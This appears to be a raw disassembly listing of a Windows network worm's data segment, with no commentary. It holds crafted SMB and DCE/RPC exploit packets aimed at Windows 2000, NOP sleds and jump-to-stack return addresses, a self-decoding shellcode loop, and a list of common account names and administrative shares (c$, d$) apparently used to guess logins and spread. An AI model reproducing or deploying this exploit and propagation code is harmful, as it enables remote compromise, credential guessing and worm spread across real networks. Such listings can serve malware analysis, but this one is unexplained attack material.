		dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch,	5E21B8EFh
		dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0
		dd 2 dup(4A9D5E21h), 0
		dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h
		dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h)
		dd 2 dup(71AB7BFBh), 7C941EEDh,	77E216B8h, 77FD1F89h, 2	dup(77E216B8h)
		dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
aFxnbfxfxnbfxfx:
		unicode	0, <FXNBFXFXNBFXFXFXFX>,0
		align 4
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		db 0CCh
		db 0E0h, 0FDh, 7Fh
		align 8
		dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
		dd 20h,	0
		dd 20h,	5C005Ch, 0
		dd offset dword_43005C
a12345611111111:
		unicode	0, <$\123456111111111111111.doc>,0
		align 10h
		dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
		dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h
dword_41A7A8	dd 5F5C0A0Dh, 2E2Fh	; DATA XREF: sub_410649+59o
					; sub_410B52+Fo
dword_41A7B0	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_410649+Fo
		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41A7FC	dd 3000005h, 10h, 5 dup(0) ; DATA XREF:	sub_410649+181o
dword_41A818	dd 10005h, 2 dup(0)	; DATA XREF: sub_410649+1ADo
		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_41A860	dd 0			; DATA XREF: sub_410649+475o
		dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_41A894:				; DATA XREF: sub_410649+153o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_41A8A0:				; DATA XREF: sub_410649+E5o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_41A8AC:				; DATA XREF: sub_410649+202o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		jmp	short loc_41A8C9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_41A8B4:				; DATA XREF: sub_410649+2DBo
		jmp	short near ptr word_41A8BA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_41A8BA	dw 0			; CODE XREF: brattyty:loc_41A8B4j
; ---------------------------------------------------------------------------


loc_41A8BC:				; DATA XREF: sub_410649+330o
		jmp	short near ptr word_41A8C2
; ---------------------------------------------------------------------------


loc_41A8BE:				; CODE XREF: brattyty:loc_41A8ACj
					; brattyty:loc_41A8DCj
		jmp	short loc_41A8C4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_41A8C2	dw 0			; CODE XREF: brattyty:loc_41A8BCj
; ---------------------------------------------------------------------------


loc_41A8C4:				; CODE XREF: brattyty:loc_41A8BEj
					; DATA XREF: sub_410649+385o
		jmp	short near ptr loc_41A8C9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_41A8C9:				; CODE XREF: brattyty:0041A8AEj
					; brattyty:loc_41A8C4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_41A8CC	dd offset loc_41005C	; DATA XREF: sub_410649+449o
		dd 2 dup(0)
dword_41A8D8	dd 77F33723h		; DATA XREF: sub_410649+25Ao
; ---------------------------------------------------------------------------


loc_41A8DC:				; DATA XREF: sub_410649+286o
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_41A8E0:				; DATA XREF: sub_410649+22Eo
		lahf
		jnz	short loc_41A8FB


loc_41A8E3:				; DATA XREF: sub_410649+13Do
		add	[ecx+1Ch], bl


loc_41A8E6:				; CODE XREF: brattyty:loc_41A8F0j
		add	[ecx], al


loc_41A8E8:				; DATA XREF: sub_410649+111o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_41A8EC:				; DATA XREF: sub_410649+127o
		jmp	short near ptr dword_41A8F4
; ---------------------------------------------------------------------------
		align 10h


loc_41A8F0:				; DATA XREF: sub_410649+FBo
		jmp	short loc_41A8E6
; ---------------------------------------------------------------------------
		align 4
dword_41A8F4	dd 85000000h		; CODE XREF: brattyty:loc_41A8ECj
; ---------------------------------------------------------------------------
		call	dword ptr [ebx+4Dh]


loc_41A8FB:				; CODE XREF: brattyty:0041A8E1j
		inc	edx
		jb	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h, 240043h, 3F3F0000h, 3F3F3Fh, 0
		dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
		dd offset loc_401495
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd offset loc_40707C
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
		dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
		dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 0
		dd offset loc_40A89A
		dd 1, 0
		dd 1, 2	dup(0)
; ---------------------------------------------------------------------------
		sub	sp, 71Ch
		jmp	esp
; ---------------------------------------------------------------------------
		align 4
		dd 1004600h, 7515123Ch,	751C123Ch, 42B68ABAh, 42D01E50h
		dd 34000112h, 0
		dd 150000h, 1B000106h, 20100h, 30C001Ch, 4002800h, 20008FFh
		dd 10h,	0
		dd 34EEA51Bh, 0
		dd 12400h, 0
dword_41AF50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_410B52+62o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41AFDC	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+A2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_41B088	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+E2o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_41B168	dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+13Co
		dd 0AB80000h, 46300800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B1A8	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+179o
		dd 4DC0800h, 400800h, 0DE00FF18h, 800DEh, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 5C000903h, 574F5242h, 524553h,	0
dword_41B20C	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_410B52+1B9o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_41B2B0	dd 66030000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+216o
		dd 3900800h, 3C1D0800h,	1C000010h, 0E0040003h, 0FFh, 2 dup(0)
		dd 1C004A00h, 2004A03h,	2600h, 5C032340h, 45504950h, 5005Ch
		dd 100300h, 31C0000h, 0
		dd 3040000h, 0
		dd 4221001Fh, 184E8h, 0
		dd 10000h, 0
		dd 1630000h, 0
		dd 1630000h, 0
dword_41B338	dd 0			; DATA XREF: sub_410B52+2C7o
		dd 0D7h, 1, 0
		dd 1, 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 4
		dd 2 dup(0)
dword_41B35C	dd 0CA040000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_410B52+348o
		dd 1C80800h, 7CC90800h,	80000010h, 0E0040004h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A04h,	2600h, 5C048740h, 45504950h, 5005Ch
		dd 100300h, 4800000h, 0
		dd 4680000h, 0
		dd 72B3001Fh, 1A381h, 0
		dd 10000h, 0
		dd 2150000h, 0
		dd 2150000h, 0
dword_41B3E4	dd 0			; DATA XREF: sub_410B52+3DEo
		dd 85h,	2, 0
		dd 2, 2EBh, 85h, 2 dup(0)
dword_41B408	dd 20804h, 0		; DATA XREF: sub_410B52+285o
					; sub_410B52+29Bo ...
dword_41B410	dd 2080Ah, 0		; DATA XREF: sub_410B52+26Fo
		dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
		dd 0FEFF0000h, 0
		dd 2006200h, 4E204350h,	4F575445h, 50204B52h, 52474F52h
		dd 31204D41h, 200302Eh,	4D4E414Ch, 2E314E41h, 57020030h
		dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
		dd 2E332073h, 2006131h,	2E314D4Ch, 30305832h, 4C020032h
		dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
		dd 0
		dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_1:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_2:
		unicode	0, <Windows 2000 5.0>,0
		align 4
		dd 0
		dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
		dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
		dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
		dd 0FEFF0000h, 300800h,	5A00FF04h, 1000800h, 2F00h, 0
		dd 3F3F0000h, 3F3F3Fh, 0
		dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
		dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h,	0
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h,	720065h
		dd 0
		dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 500800h, 48000010h, 0
		dd 10h,	2 dup(0)
		dd 48005400h, 2005400h,	2600h, 5940h, 50005Ch, 500049h
		dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
		dd 0
		dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		align 10h
		jmp	short loc_41B84A
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B852
; ---------------------------------------------------------------------------


loc_41B84A:				; CODE XREF: brattyty:0041B840j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B852:				; CODE XREF: brattyty:0041B848j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 9090767Ah
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B8A1
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B8A1:				; CODE XREF: brattyty:0041B897j
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
		dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
		dd 3C005400h, 2005408h,	2600h, 84D40h, 50005Ch,	500049h
		dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
		dd 11h,	0
		dd 11h,	4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
		dd 2 dup(300030h), 0
		dd 0FFFFh, 7E0h, 2 dup(0)
		dd 7C0h, 0
		db 8 dup(90h)
; ---------------------------------------------------------------------------
		jmp	short loc_41B97E
; ---------------------------------------------------------------------------
		align 4
		dd 767A1567h
; ---------------------------------------------------------------------------
		jmp	short loc_41B986
; ---------------------------------------------------------------------------


loc_41B97E:				; CODE XREF: brattyty:0041B974j
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah


loc_41B986:				; CODE XREF: brattyty:0041B97Cj
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		db	67h
		adc	eax, 8EB767Ah
		nop
		nop
		jns	short near ptr word_41B9F6
		add	[ecx], eax
		jmp	short loc_41B9C6
; ---------------------------------------------------------------------------
		align 10h
		dd 767A1567h
		db 2 dup(90h)
; ---------------------------------------------------------------------------


loc_41B9C6:				; CODE XREF: brattyty:0041B9BCj
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_41B9D5
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 48h
		dd 9088444Fh
		db 90h
; ---------------------------------------------------------------------------


loc_41B9D5:				; CODE XREF: brattyty:0041B9CBj
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
; ---------------------------------------------------------------------------
		dd 0
		dd 7E0h, 4, 0
		db 2 dup(0)
word_41B9F6	dw 0			; CODE XREF: brattyty:0041B9B8j
		dd 0D0EC8166h, 7, 129F74h, 0
		dd 127D78h, 0
; ---------------------------------------------------------------------------
		pusha
		jmp	short loc_41BA16

; =============== S U B	R O U T	I N E =======================================



sub_41BA13	proc near		; CODE XREF: brattyty:loc_41BA16p
		pop	ebx
		push	ebx
		retn
sub_41BA13	endp

; ---------------------------------------------------------------------------


loc_41BA16:				; CODE XREF: brattyty:0041BA11j
		call	sub_41BA13
		xor	eax, eax
		add	al, 34h
		add	eax, ebx
		push	eax
		pop	ebx


loc_41BA23:				; CODE XREF: brattyty:0041BA4Cj
		xor	edx, edx
		add	dl, [eax]
		inc	eax
		add	dh, [eax]
		inc	eax
		push	eax
		xor	eax, eax
		add	al, 41h
		sub	dl, al
		sub	dh, al
		shl	dl, 4
		shr	dx, 4
		xor	eax, eax
		xor	dh, dh
		add	al, [ebx]
		sub	[ebx], al
		add	[ebx], dx
		inc	ebx
		pop	eax
		xor	ecx, ecx
		add	cl, [eax]
		loopne	loc_41BA23
		popa
		add	[ebx+31h], al
		mov	ebp, 7FC77h
		add	[ecx], al
		inc	ebx


loc_41BA5A:				; CODE XREF: brattyty:0041BA5Cj
		xor	eax, eax
		ja	short loc_41BA5A
		pop	es
; ---------------------------------------------------------------------------
		db 0
		dd 4F020100h, 7E7655Bh,	0
		dd 195h, 30B0005h, 10h,	48h, 1,	16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
byte_41BB00	db 90h			; DATA XREF: sub_410F60+35r
					; sub_410F60+73r ...
dword_41BB01	dd 0			; DATA XREF: sub_410F60+A3r
		db 9Eh,	2 dup(0)
		dd 0F50000h, 0F8000000h, 0
		dd 0F9h, 0FC00h, 1270000h, 2F000000h, 1, 137h, 13F00h
		dd 1400000h, 41000000h,	4, 842h, 24300h, 40450000h, 46000000h
		dd 10h,	2047h, 14800h, 4490000h, 4A000000h, 8, 24Bh, 404D00h
		dd 104E0000h, 4F000000h, 20h, 198h, 19F00h, 5910000h, 92000000h
		dd 9, 393h, 419500h, 11960000h,	97000000h, 21h,	999h, 0
		dd offset aAdministrator ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aComputer	; "computer"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aSystem	; "system"
		dd offset aServer_0	; "server"
		dd offset aRoot		; "root"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOemuser	; "oemuser"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
; ---------------------------------------------------------------------------
		clc
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------
		adc	ah, al
		inc	ecx
		add	al, dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	ah, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, al
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-4FFFBE3Dh], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax-3Ch], al
		inc	ecx
		add	[eax-5FFFBE3Dh], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8-3C73FFBFh], dl
		inc	ecx
		add	[eax-7FFFBE3Dh], cl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8+41h], dh
		add	[ebx+eax*8+41h], ch
		add	[ebx+eax*8+41h], ah
		add	[eax-3Dh], ah
		inc	ecx
		add	[ebx+eax*8+41h], bl
		add	[ebx+eax*8+41h], dl
		add	[eax-3Dh], dl
		inc	ecx
		add	[eax-3Dh], cl
		inc	ecx
		add	[eax-3Dh], al
		inc	ecx
		add	[eax], bh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ch
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], ah
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[eax], bl
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	[ebx+eax*8], dl
		inc	ecx
		add	[esp+eax*8+41h], dh
		add	[eax], cl
		retn
; ---------------------------------------------------------------------------
		dw 41h
		dd offset aStudent	; "student"
; ---------------------------------------------------------------------------
		clc
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
		dd offset aC		; "c$"
		dd offset aD		; "d$"
; ---------------------------------------------------------------------------
		fadd	st(2), st
		inc	ecx
		add	al, dl
		retn	41h
; ---------------------------------------------------------------------------
		dd offset aDShared	; "d$\\shared"
